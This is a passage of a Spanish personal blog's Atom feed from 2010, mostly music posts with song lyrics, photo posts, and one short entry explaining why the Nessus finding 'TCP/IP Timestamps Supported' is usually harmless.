height="505"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;es el miedo lo que nos convierte en cobardes, solo atreviéndonos a coger el rayo somos capaces de salir de nuestra sombra y abrazar la luz&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-785148900143715325?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/785148900143715325/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=785148900143715325&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/785148900143715325'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/785148900143715325'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2010/09/sometimes-somehow.html' title='sometimes somehow'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-8803742785744941485</id><published>2010-08-30T09:30:00.004+02:00</published><updated>2010-08-30T09:31:50.978+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='nessus'/><title type='text'>TCP/IP Timestamps Supported</title><content type='html'>&lt;div style="font-family: inherit;"&gt;Mil y una veces nos encontramos con la misma vulnerabilidad en nessus, es realmente tan importante? &lt;/div&gt;&lt;blockquote style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;TCP/IP Timestamps Supported:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;The remote host implements TCP timestamps, as defined by RFC1323.&lt;br /&gt;A side effect of this feature is that the uptime of the remote host can sometimes be computed.&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;Echando un vistazo por internet nos encontramos &lt;a href="http://forums11.itrc.hp.com/service/forums/questionanswer.do?admit=109447626+1283152826932+28353475&amp;amp;threadId=1386065"&gt;con la respuesta&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; font-size: small;"&gt;I would question why the tool complained in the first place. The TCP Timestamp option is an integral part of support for "large windows" and if one disables timestamps, one should also disable large window support (aka window scaling) and that would be Bad News (tm) for WAN performance.&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; font-size: small;"&gt;The timestamp option &lt;i style="color: #990000;"&gt;&lt;b&gt;is put into place to make certain that the "effective TCP sequence number" does not wrap in the lifetime of a TCP segment out on the network&lt;/b&gt;&lt;/i&gt;&lt;span style="color: #990000;"&gt;.&lt;/span&gt; Without timestamps, if TCP were going faster than a certain rate, it would be possible to wrap its 32-bit sequence number in less than the Maximum Segment Lifetime, and if that happened, there is the possibility of an old, delayed TCP segment being accepted as current data - silent data corruption is the result - unless the application above TCP has some sort of checking going-on. The probabilities may be small, but silent data corruption is Really Bad News (tm).&lt;/span&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-8803742785744941485?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/8803742785744941485/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=8803742785744941485&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/8803742785744941485'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/8803742785744941485'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2010/08/tcpip-timestamps-supported.html' title='TCP/IP Timestamps Supported'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-631594232468785467</id><published>2010-08-13T19:36:00.002+02:00</published><updated>2010-08-13T19:37:26.356+02:00</updated><title type='text'>Todo lo que tiene un principio tiene un final</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_lVFCOEwXZGU/TGWBNAq_NNI/AAAAAAAAAyM/VJiN9tJWh2Q/s1600/P1020573.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="360" src="http://3.bp.blogspot.com/_lVFCOEwXZGU/TGWBNAq_NNI/AAAAAAAAAyM/VJiN9tJWh2Q/s640/P1020573.JPG" width="640" /&gt;&lt;/a&gt;&lt;a href="http://3.bp.blogspot.com/_lVFCOEwXZGU/TGWBNAq_NNI/AAAAAAAAAyM/VJiN9tJWh2Q/s1600/P1020573.JPG" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_lVFCOEwXZGU/TGWBQGqdEWI/AAAAAAAAAyU/dVQBnPepgX4/s1600/P1020592.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="360" src="http://1.bp.blogspot.com/_lVFCOEwXZGU/TGWBQGqdEWI/AAAAAAAAAyU/dVQBnPepgX4/s640/P1020592.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_lVFCOEwXZGU/TGWBUAPJfdI/AAAAAAAAAyc/-y5MmgscICA/s1600/P1020648.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="360" src="http://1.bp.blogspot.com/_lVFCOEwXZGU/TGWBUAPJfdI/AAAAAAAAAyc/-y5MmgscICA/s640/P1020648.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_lVFCOEwXZGU/TGWBYlPdlFI/AAAAAAAAAyk/Izex97WIg5E/s1600/P1020685.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="360" src="http://3.bp.blogspot.com/_lVFCOEwXZGU/TGWBYlPdlFI/AAAAAAAAAyk/Izex97WIg5E/s640/P1020685.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_lVFCOEwXZGU/TGWBev4korI/AAAAAAAAAys/BHaqGcE0Mzs/s1600/P1020690.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="480" src="http://2.bp.blogspot.com/_lVFCOEwXZGU/TGWBev4korI/AAAAAAAAAys/BHaqGcE0Mzs/s640/P1020690.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;object height="505" width="640"&gt;&lt;param name="movie" value="http://www.youtube-nocookie.com/v/xgX2spZ5ENY?fs=1&amp;amp;hl=en_US&amp;amp;color1=0x3a3a3a&amp;amp;color2=0x999999"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube-nocookie.com/v/xgX2spZ5ENY?fs=1&amp;amp;hl=en_US&amp;amp;color1=0x3a3a3a&amp;amp;color2=0x999999" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="505"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-631594232468785467?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/631594232468785467/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=631594232468785467&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/631594232468785467'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/631594232468785467'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2010/08/todo-lo-que-tiene-un-principio-tiene-un.html' title='Todo lo que tiene un principio tiene un final'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_lVFCOEwXZGU/TGWBNAq_NNI/AAAAAAAAAyM/VJiN9tJWh2Q/s72-c/P1020573.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-1822630697871422081</id><published>2010-07-31T18:16:00.000+02:00</published><updated>2010-07-31T18:16:18.616+02:00</updated><title type='text'>De camino</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_lVFCOEwXZGU/TFRMQtNqb_I/AAAAAAAAAyE/pmgczs9KH3E/s1600/vieira.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_lVFCOEwXZGU/TFRMQtNqb_I/AAAAAAAAAyE/pmgczs9KH3E/s320/vieira.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-1822630697871422081?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/1822630697871422081/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=1822630697871422081&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/1822630697871422081'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/1822630697871422081'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2010/07/de-camino.html' title='De camino'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_lVFCOEwXZGU/TFRMQtNqb_I/AAAAAAAAAyE/pmgczs9KH3E/s72-c/vieira.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-2100948437028898607</id><published>2010-07-28T22:16:00.002+02:00</published><updated>2010-07-28T22:17:24.574+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='musica'/><title type='text'>To my blue eyes</title><content type='html'>El mundo no es suficientemente grande para aguantar el peso de una mirada.&lt;br /&gt;&lt;br /&gt;&lt;object width="640" height="505"&gt;&lt;param name="movie" value="http://www.youtube-nocookie.com/v/P-AYAv0IoWI&amp;amp;hl=en_US&amp;amp;fs=1?rel=0&amp;amp;color1=0x234900&amp;amp;color2=0x4e9e00"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube-nocookie.com/v/P-AYAv0IoWI&amp;amp;hl=en_US&amp;amp;fs=1?rel=0&amp;amp;color1=0x234900&amp;amp;color2=0x4e9e00" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="505"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Quisiera ser pajaro para volar contigo.&lt;br /&gt;&lt;br /&gt;She's got a smile that it seems to me&lt;br /&gt;Reminds me of childhood memories&lt;br /&gt;Where everything&lt;br /&gt;Was as fresh as the bright blue sky&lt;br /&gt;Now and then when I see her face&lt;br /&gt;She takes me away to that special place&lt;br /&gt;And if I'd stare too long&lt;br /&gt;I'd probably break down and cry&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sweet child o' mine&lt;br /&gt;Sweet love of mine&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;She's got eyes of the bluest skies&lt;br /&gt;As if they thought of rain&lt;br /&gt;I hate to look into those eyes&lt;br /&gt;And see an ounce of pain&lt;br /&gt;Her hair reminds me of a warm safe place&lt;br /&gt;Where as a child I'd hide&lt;br /&gt;And pray for the thunder&lt;br /&gt;And the rain&lt;br /&gt;To quietly pass me by&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sweet child o' mine&lt;br /&gt;Sweet love of mine&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Where do we go&lt;br /&gt;Where do we go now&lt;br /&gt;Where do we go&lt;br /&gt;Sweet child o' mine&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-2100948437028898607?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/2100948437028898607/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=2100948437028898607&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/2100948437028898607'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/2100948437028898607'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2010/07/to-my-blue-eyes.html' title='To my blue eyes'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-8417155732003261865</id><published>2010-06-27T12:38:00.001+02:00</published><updated>2010-06-28T10:49:37.684+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='musica'/><title type='text'>Feel It In My Bones</title><content type='html'>&lt;object width="640" height="385"&gt;&lt;param name="movie" value="http://www.youtube-nocookie.com/v/GQQhibVx5eE&amp;hl=en_US&amp;fs=1&amp;hd=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube-nocookie.com/v/GQQhibVx5eE&amp;hl=en_US&amp;fs=1&amp;hd=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;blow by blow, i didn't see it coming&lt;br /&gt;blow by blow, sucker punch&lt;br /&gt;rushes in, here to stay&lt;br /&gt;rushes in, you are here to stay&lt;br /&gt;what rushes into my heart and my skull&lt;br /&gt;i can't control, think about it&lt;br /&gt;feel it in my bones&lt;br /&gt;what rushes into my heart and my skull&lt;br /&gt;i can't control&lt;br /&gt;&lt;br /&gt;Chorus&lt;br /&gt;i feel you in my bones&lt;br /&gt;you're knocking at my windows&lt;br /&gt;you're slow to lettin me go&lt;br /&gt;and i know this feeling oh, so&lt;br /&gt;this feeling in my bones&lt;br /&gt;&lt;br /&gt;left hook, I didn't see it comin&lt;br /&gt;left hook, you've got dead aim&lt;br /&gt;rushes out, run away&lt;br /&gt;rushes out, you always run away&lt;br /&gt;what rushes into my heart and my skull&lt;br /&gt;i can't control, think about it&lt;br /&gt;feel it in my bones&lt;br /&gt;what rushes into my heart and my skull&lt;br /&gt;i can't control&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-8417155732003261865?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/8417155732003261865/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=8417155732003261865&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/8417155732003261865'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/8417155732003261865'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2010/06/feel-it-in-my-bones.html' title='Feel It In My Bones'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-5782742458878017892</id><published>2010-06-22T15:32:00.000+02:00</published><updated>2010-06-22T15:32:49.187+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='musica'/><title type='text'>If We Ever Meet Again</title><content type='html'>&lt;object width="660" height="405"&gt;&lt;param name="movie" value="http://www.youtube-nocookie.com/v/KDKva-s_khY&amp;hl=es_ES&amp;fs=1&amp;border=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube-nocookie.com/v/KDKva-s_khY&amp;hl=es_ES&amp;fs=1&amp;border=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="660" height="405"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;What is someone like you doin in a place like this?&lt;br /&gt;Say Did you come alone or did you bring all your friends?&lt;br /&gt;Say whats your name , What are you drinking&lt;br /&gt;Think I know what are you thinking&lt;br /&gt;Baby whats your sign tell me yours and ill tell you mine&lt;br /&gt;Say Whats somebody like you doin in a place like this&lt;br /&gt;&lt;br /&gt;Ill never be the same if we ever meet agaian&lt;br /&gt;Whooooon't let you get awaaay&lt;br /&gt;Say if we ever meet again,&lt;br /&gt;This free-falls, got mee sooo, kiss me all,&lt;br /&gt;Night, Don't ever let me go&lt;br /&gt;Ill never be the same if we ever meet again&lt;br /&gt;&lt;br /&gt;Do you come here much? I swear ive seen your face before.&lt;br /&gt;Hope You don't see me flash but I cant help but want you more, more&lt;br /&gt;Baby tel me whats your story I aint shy don't you worry&lt;br /&gt;Im flirtin' with my eyes, I wanna leave with you tonight.&lt;br /&gt;Do you come here much? ive gotta see your face some more&lt;br /&gt;(some more caause baby i)&lt;br /&gt;&lt;br /&gt;I'll never be the same - if we ever meet again&lt;br /&gt;Won't let you get away-ay - say, if we ever meet again&lt;br /&gt;This free fall's, got me so&lt;br /&gt;Kiss me all night, don't ever let me go&lt;br /&gt;I'll never be the same&lt;br /&gt;If we ever meet again&lt;br /&gt;&lt;br /&gt;If we ever meet again&lt;br /&gt;I'll have so much more to say (if we ever meet again)&lt;br /&gt;&lt;br /&gt;If we ever meet again&lt;br /&gt;I wont let you go away (said if we ever meet again)&lt;br /&gt;&lt;br /&gt;If we ever meet again&lt;br /&gt;I'll have so much more to say (say if we ever meet again)&lt;br /&gt;&lt;br /&gt;If we ever meet again&lt;br /&gt;I wont let you go away-ay-ay&lt;br /&gt;&lt;br /&gt;I'll never be the same - if we ever meet again&lt;br /&gt;Won't let you get away-ay - say, if we ever meet again&lt;br /&gt;This free fall's, got me so&lt;br /&gt;Kiss me all night, don't ever let me go&lt;br /&gt;I'll never be the same&lt;br /&gt;If we ever meet again&lt;br /&gt;&lt;br /&gt;I'll never be the same - if we ever meet again&lt;br /&gt;Won't let you get away-ay - say, if we ever meet again&lt;br /&gt;This free fall's, got me so&lt;br /&gt;Kiss me all night, don't ever let me go&lt;br /&gt;I'll never be the same&lt;br /&gt;If we ever meet again&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-5782742458878017892?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/5782742458878017892/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=5782742458878017892&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/5782742458878017892'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/5782742458878017892'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2010/06/if-we-ever-meet-again.html' title='If We Ever Meet Again'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-3564397404081359764</id><published>2010-05-28T11:20:00.000+02:00</published><updated>2010-05-28T11:20:23.579+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='musica'/><title type='text'>Orjan Nilsen - So Long Radio</title><content type='html'>&lt;object style="background-image:url(http://i3.ytimg.com/vi/nq796MnuNxI/hqdefault.jpg)"  width="480" height="295"&gt;&lt;param name="movie" value="http://www.youtube.com/v/nq796MnuNxI&amp;amp;hl=es_ES&amp;amp;fs=1"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/nq796MnuNxI&amp;amp;hl=es_ES&amp;amp;fs=1" width="480" height="295" allowScriptAccess="never" allowFullScreen="true" wmode="transparent" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-3564397404081359764?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/3564397404081359764/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=3564397404081359764&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/3564397404081359764'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/3564397404081359764'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2010/05/orjan-nilsen-so-long-radio.html' title='Orjan Nilsen - So Long Radio'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-1041518217493516956</id><published>2010-05-06T23:43:00.000+02:00</published><updated>2010-05-06T23:43:15.908+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='musica'/><title type='text'>Cry Cry Cry</title><content type='html'>No queda otra que jugar con fuego si queremos sentir el calor... no quemarse, eso es otra historia, o no? ;D&lt;br /&gt;&lt;a href="http://open.spotify.com/track/40Mv5B6LNsPmU7ncs5yUkX"&gt;Spotify - Cry Cry&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;object width="640" height="385"&gt;&lt;param name="movie" value="http://www.youtube-nocookie.com/v/zTTAB7Fjzxc&amp;hl=en_US&amp;fs=1&amp;rel=0&amp;hd=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube-nocookie.com/v/zTTAB7Fjzxc&amp;hl=en_US&amp;fs=1&amp;rel=0&amp;hd=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;When she was a young girl&lt;br /&gt;She used to play with me&lt;br /&gt;I was her best friend&lt;br /&gt;We were inseparately&lt;br /&gt;We loved to ride our bikes&lt;br /&gt;Playin’ hide and seek&lt;br /&gt;Sneaking all the night&lt;br /&gt;Dancing in the street&lt;br /&gt;I look back at the time&lt;br /&gt;Now i realise&lt;br /&gt;She loved to play with fire&lt;br /&gt;I should have seen it in her eyes&lt;br /&gt;I should have seen it in her eyes&lt;br /&gt;Deep inside, you cry cry cry&lt;br /&gt;Don’t let your hopes,die die die&lt;br /&gt;Deep inside, you cry cry cry&lt;br /&gt;Don’t let your hopes,die die die&lt;br /&gt;Na,na,na,na,na,na,na&lt;br /&gt;Na,na,na,na,na,na,na&lt;br /&gt;She fell in love for the first time&lt;br /&gt;He was older than her&lt;br /&gt;Then he made her do things&lt;br /&gt;First she wouldn’t tell&lt;br /&gt;She left everything behind&lt;br /&gt;Couldn’t find a place&lt;br /&gt;Running through the night&lt;br /&gt;Loosing all her faith&lt;br /&gt;She throws away the pain&lt;br /&gt;Turning off her lies&lt;br /&gt;But still she makes it seem like everything’s alright&lt;br /&gt;Like everything’s alright&lt;br /&gt;Deep inside, you cry cry cry&lt;br /&gt;Don’t let your hopes,die die die&lt;br /&gt;Deep inside, you cry cry cry&lt;br /&gt;Don’t let your hopes, die die die&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-1041518217493516956?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/1041518217493516956/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=1041518217493516956&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/1041518217493516956'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/1041518217493516956'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2010/05/cry-cry-cry.html' title='Cry Cry Cry'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-9087892094228904855</id><published>2010-04-10T13:25:00.003+02:00</published><updated>2010-04-10T13:26:05.037+02:00</updated><title type='text'>Hora de cruzar el charco</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_lVFCOEwXZGU/S8BgKgMx9WI/AAAAAAAAAxE/oDelYG5XR2k/s1600/1261152346392_f.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="398" src="http://2.bp.blogspot.com/_lVFCOEwXZGU/S8BgKgMx9WI/AAAAAAAAAxE/oDelYG5XR2k/s640/1261152346392_f.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-9087892094228904855?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/9087892094228904855/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=9087892094228904855&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/9087892094228904855'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/9087892094228904855'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2010/04/hora-de-cruzar-el-charco.html' title='Hora de cruzar el charco'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_lVFCOEwXZGU/S8BgKgMx9WI/AAAAAAAAAxE/oDelYG5XR2k/s72-c/1261152346392_f.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-949042450010132132</id><published>2010-03-30T14:02:00.001+02:00</published><updated>2010-03-30T14:10:23.977+02:00</updated><title type='text'>Llega la primavera</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: 